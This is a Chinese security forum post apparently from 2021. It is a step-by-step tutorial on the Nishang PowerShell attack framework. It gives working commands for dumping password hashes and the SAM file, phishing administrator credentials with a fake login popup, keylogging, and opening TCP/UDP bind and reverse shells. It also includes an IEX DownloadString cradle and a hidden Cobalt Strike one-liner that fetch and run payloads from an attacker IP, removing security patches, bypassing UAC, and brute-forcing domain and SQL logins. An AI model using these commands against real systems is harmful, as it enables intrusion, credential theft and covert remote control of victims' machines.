用户
搜索
  • TA的每日心情
    开心
    20 小时前
  • 签到天数: 379 天

    连续签到: 71 天

    [LV.9]以坛为家II

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    16

    主题

    77

    帖子

    3321

    魔法币
    收听
    0
    粉丝
    2
    注册时间
    2019-11-4

    核心白帽春秋游侠白帽高手积极活跃奖春秋文阁

    发表于 2021-9-20 12:48:51 01951

    前言
    Nishang是一个基于PowerShell攻击脚本和有效载荷的框架和集合,支持使用PowerShell进行攻击性安全、渗透测试和红队合作,集成了框架、脚本和各种payload(包括下载、执行、后门、扫描、执行、解密、键盘记录等脚本),被广泛用于渗透测试的各个阶段。
    工具链接:https://github.com/samratashok/nishang

    Nishang目录介绍

    ActiveDirectory:活动目录
    Antak-WebShell:在内存中执行PowerShell脚本,运行命令,并使用此Webshell下载和上载文件。
    Backdoors:一个后门,可以从第三方网站接收指令,并在内存中执行PowerShell脚本。
    Bypass:实施公共已知方法来绕过
    Client:客户端
    Escalation:当需要权限时提权
    Execution:命令执行(RCE)
    Gather:信息收集
    MITM:用于MITM攻击的本地HTTPS代理
    Misc:脚本
    Pivot:跳板、远程执行exe
    Prasadhak:对照VirusTotal数据库检查正在运行的进程的运行哈希。
    Scan:扫描
    Shells:shell
    Utility:杂项
    Powerpreter:Meterpreter会话


    一、Nishang初步使用
    执行get-host命令查看版本信息,Nishang需要Powershell版本在v3以上才能使用(windows10自带的是5.1版本的)

    以管理员权限打开PowerShell,导入所有的脚本到当前的PowerShell会话中
    Import-Module -verbose  .\nishang.psm1

    在PowerShell导入模块的时候是不允许的,在默认的设置, 不允许任何脚本运行(Restricted),所以我们需要修改权限为remotesigned
    输入指令Set-ExecutionPolicy remotesigned,修改策略后就可以成功导入脚本


    执行Get-Command -Module nishang
    查看导入的模块中的脚本信息


    二、利用Nishang进行信息收集
    (1)执行Get-Information收集本机的信息(可以获取计算机上的大量信息,例如FTP访问、进程、计算机配置信息、无线网络和设备的信息、hosts信息等)

    (2)执行Get-PassHashes抓取计算机的密码hash值信息
    代码中定义的函数Get-PassHashes中定义了多个函数,在函数的最后调用DumpHashes作为入口函数。

    Windows系统下的hash密码格式为(用户名称:RID:LM-HASH值:NT-HASH值

    (3)执行Get-PassHints获取用户的密码提示信息

    (4)执行Check-VM用于检测当前的机器是否是一台已知的虚拟机
    This is a Hyper-V machine.(结果不是一台虚拟机)
    This is a VMWare machine.(如果是虚拟机会显示该结果)

    (5)执行Copy-VSS来复制出SAM文件
    执行Copy-VSS会将SAM文件保存在当前路径下(/nishang-master
    执行Copy-VSS -DestinationDir C:\TEMP  指定保存文件的路径(必须是已经存在的路径)


    (6)执行Invoke-CredentialsPhish用来欺骗用户输入账号密码信息
    ."C:\nishang-master\Gather\Invoke-CredentialsPhish.ps1"
    Invoke-CredentialsPhish

    执行后会弹出这个框欺骗用户去输入账号密码,只有当用户输入正确的账号密码后这个弹框才会消失,然后我们就可以在PowerShell端得到明文的管理员账号密码

    (7)执行FireBuster ip  -port -Verbose进行端口扫描

    (8)执行Keylogger.ps1保存用户的键盘记录,保存后的文本为key.log(在C:\Users\Administrator\AppData\Local\Temp目录下)


    接着使用Nishang Utility中的Parse_Keys来解析key.log文件,解析后的文件就存放着键盘记录
    Parse_Keys .\key.log .\su.txt


    三、利用Nishang实现交互式shell
    参数介绍

    -IPAddress  反向连接时需要连接到的IP地址
    -Port  反向连接时是需要连接到的端口,选择-Bind选项时是需要监听的端口
    -Reverse 反向连接
    -Bind 正向连接用到的端口监听

    基于TCP协议的交互式shell
    正向连接(目标在外网而你在内网的时候)
    (1)在目标机器运行脚本,执行监听端口(攻击机等会要连接该端口)
    .\Invoke-PowerShellTcp.ps1
    Invoke-PowerShellTcp -Bind -Port 5050

    (2)在攻击机上使用nc工具正向连接目标机器
    nc  -nv  192.168.98.101  5050

    -n   直接使用IP地址,而不通过域名服务器
    -v   显示指令执行过程

    反向连接(目标在内网而你在外网的时候)
    (1)在攻击机上执行nc命令,开启本地端口监听通道
    Nc -lvp 5050

    -l   使用监听模式,管控传入的资料
    -v   显示指令执行过程
    -p   设置本地主机使用的通信端口


    (2)在目标机器上执行Invoke-PowerShellTcp -Reverse -IPAddress 192.168.170.128 -Port 5050 反向连接攻击机

    基于UDP协议的交互式shell
    正向连接(与基于TCP协议的步骤差不多,攻击机的nc命令改变一下)
    目标机器执行Invoke-PowerShellUdp -Bind -Port 5555
    攻击机执行nc -nvu 192.168.98.101  5555

    反向连接(与基于TCP协议的步骤差不多,攻击机的nc命令改变一下)
    目标机器执行Invoke-PowerShellUdp -Reverse -IPAddress 192.168.170.128 -Port 5555
    攻击机执行nv -lup 5555

    基于HTTP/HTTPS协议的交互式shell
    (1)在攻击机上使用脚本Invoke-PoshRatHttp -IPAddress 192.168.98.101 -Port 4444(需要目标机器的ip和端口),然后就会生成一个poc

    (2)把poc放到目标机器的powershell上,即可造成反弹shell
    IEX ((New-Object Net.WebClient).DownloadString('http://192.168.98.101:4444/connect'))

    利用Cobalt Strike工具反弹shell
    (1)先建立一个监听,然后在Attacks模块点击Scripted Web Delivery(s)选项,将建立的监听放到攻击模块中,之后就会生成一个PowerShell类型的反弹shell脚本
    powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.170.128:80/a'))"

    将poc脚本放到目标机器上执行,就能够反弹shell到Cobalt Strike上,随后就能够进行一些列的提权、抓取密码、截取屏幕等操作
    如果获取一定的权限(webshell、远程控制等),可以通过cmd打开powershell或者调用powershell.exe程序执行脚本代码


    获取目标机器的终端权限,执行cmd指令

    截取目标机器的图片(Screenshots

    获取目标机器的hash值


    四、权限提升
    (1)尝试本地权限提升,在获取一定权限的情况下,帮助我们提升到System权限
    在目标机器上执行Enable-DuplicateToken

    (2)删除补丁,补丁可以用来修复系统漏洞等一系列漏洞问题,如果删除补丁就可能造成系统漏洞的再次利用
    在目标机器上执行Remove Update

    Remove-Update All     移除目标机器上的所有补丁
    Remove-Update Security  移除目标机器上所有安全补丁
    Remove-Update KB2761226 移除指定编号的补丁


    (3)绕过UAC(Bypass UAC

    Invoke-PsUACme -Verbose使用Sysprep方法和默认的Payload执行
    Invoke-PsUACme -method oobe -Verbose 使用oobe方法跟默认的payload执行
    Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e YourEncodedPayload"使用oobe方法跟自制payload执行


    Invoke-PsUACme模块使用来自于UACME项目的DLL来Bypass UAC


    五、暴力破解
    (1)Scan路径下的Invoke-BruteForce脚本可以对SQL Server、域控制器、Web以及FTP进行暴力破解

    ComputerName 用于指定对应服务的计算机名
    UserList 用户名字典
    PasswordList 密码字典
    Service 服务类型(注意默认为:SQL)
    StopOnSuccess 成功找到一个之后就停止执行

    Invoke-BruteForce -ComputerName targetdomain.com -UserList C:testusers.txt -PasswordList C:testwordlist.txt -Service ActiveDirectory -StopOnSuccess -Verbose  爆破域控制器
    Invoke-BruteForce -ComputerName SQLServ01 -UserList C:testusers.txt -PasswordList C:testwordlist.txt -Service SQL -Verbose  爆破SQL Server
    cat C:testservers.txt | Invoke-BruteForce -UserList C:testusers.txt -PasswordList C:testwordlist.txt -Service SQL -Verbose   爆破server.txt中所有servers的SQL Server

    爆破SQlServer示例
    Invoke-BruteForce -ComputerName SQLServ01 -UserList C:wordlist1.txt -PasswordList C:wordlist2.txt -Service SQL -Verbose

    (2)Invoke-PortScan对目标机器环境中的其他主机和端口进行枚举破解

    StartAddress 扫描范围开始的地址
    EndAddress 扫描范围结束的地址
    ScanPort 进行端口扫描
    Port 指定扫描的端口号

    对目标范围192.168.98.1-196.168.98.254的机器进行枚举,看是否存在开启80端口的机器
    Invoke-PortScan -StartAddress 192.168.98.1 -EndAddress 192.168.98.254 -ResolveHost -ScanPort -Port 80

    参考文章:
    https://zhuanlan.zhihu.com/p/27723026
    注:本篇文章仅作学习研究,请勿作违法违规操作。
    总结
    当获取到一定权限的时候,Nishang基于PowerShell来操作指令,往往没有cmd限制的多,利用Nishang工具来进行横向渗透或者是提权等操作都是一个很好的选择。

    剑未佩妥出门已是江湖
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册